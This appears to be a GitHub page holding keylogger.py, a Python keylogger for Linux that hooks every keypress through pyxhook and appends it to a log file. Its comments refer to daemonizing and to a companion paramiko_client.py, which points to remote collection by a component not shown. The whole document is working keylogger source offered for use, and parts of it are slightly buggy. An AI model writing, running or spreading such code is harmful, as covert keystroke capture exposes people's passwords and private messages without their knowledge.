-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
76 lines (65 loc) · 2.19 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#==============================================================================
# keylogger.py
# The program terminates when grave key(`) is pressed
# This requires:
# at least python-xlib 1.4
#
#==============================================================================
import os
import sys
from argparse import ArgumentParser
import pyxhook
#current working directory, requires paramiko_client.py
cwd = _CWD_
def main():
parser = ArgumentParser(description='A simple keylogger for Linux.')
parser.add_argument(
'--log-file',
default=os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])), 'loggedKeys.log'),
help='Save the output in this file.',
)
parser.add_argument(
'--clean-file',
action='store_true',
default=True,
help='Clear the log file on startup.Default is No',
)
parser.add_argument(
'--cancel-key',
help='A single key that use as the cancel key, Default is ` (backtick)',
)
args = parser.parse_args()
# current working directory for work after daemonizing
logged = cwd +'/loggedKeys.log'
print(logged)
log_file = logged
if args.clean_file:
try:
os.remove(log_file)
except OSError:
# TODO: log with logging module
pass
cancel_key = args.cancel_key[0] if args.cancel_key else '`'
def OnKeyPress(event):
with open(log_file, 'a') as f:
res=chr(event.Ascii)
if res:
f.write('{}\n'.format(res))
if event.Ascii == cancel_key:
new_hook.cancel()
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
if __name__ == '__main__':
main()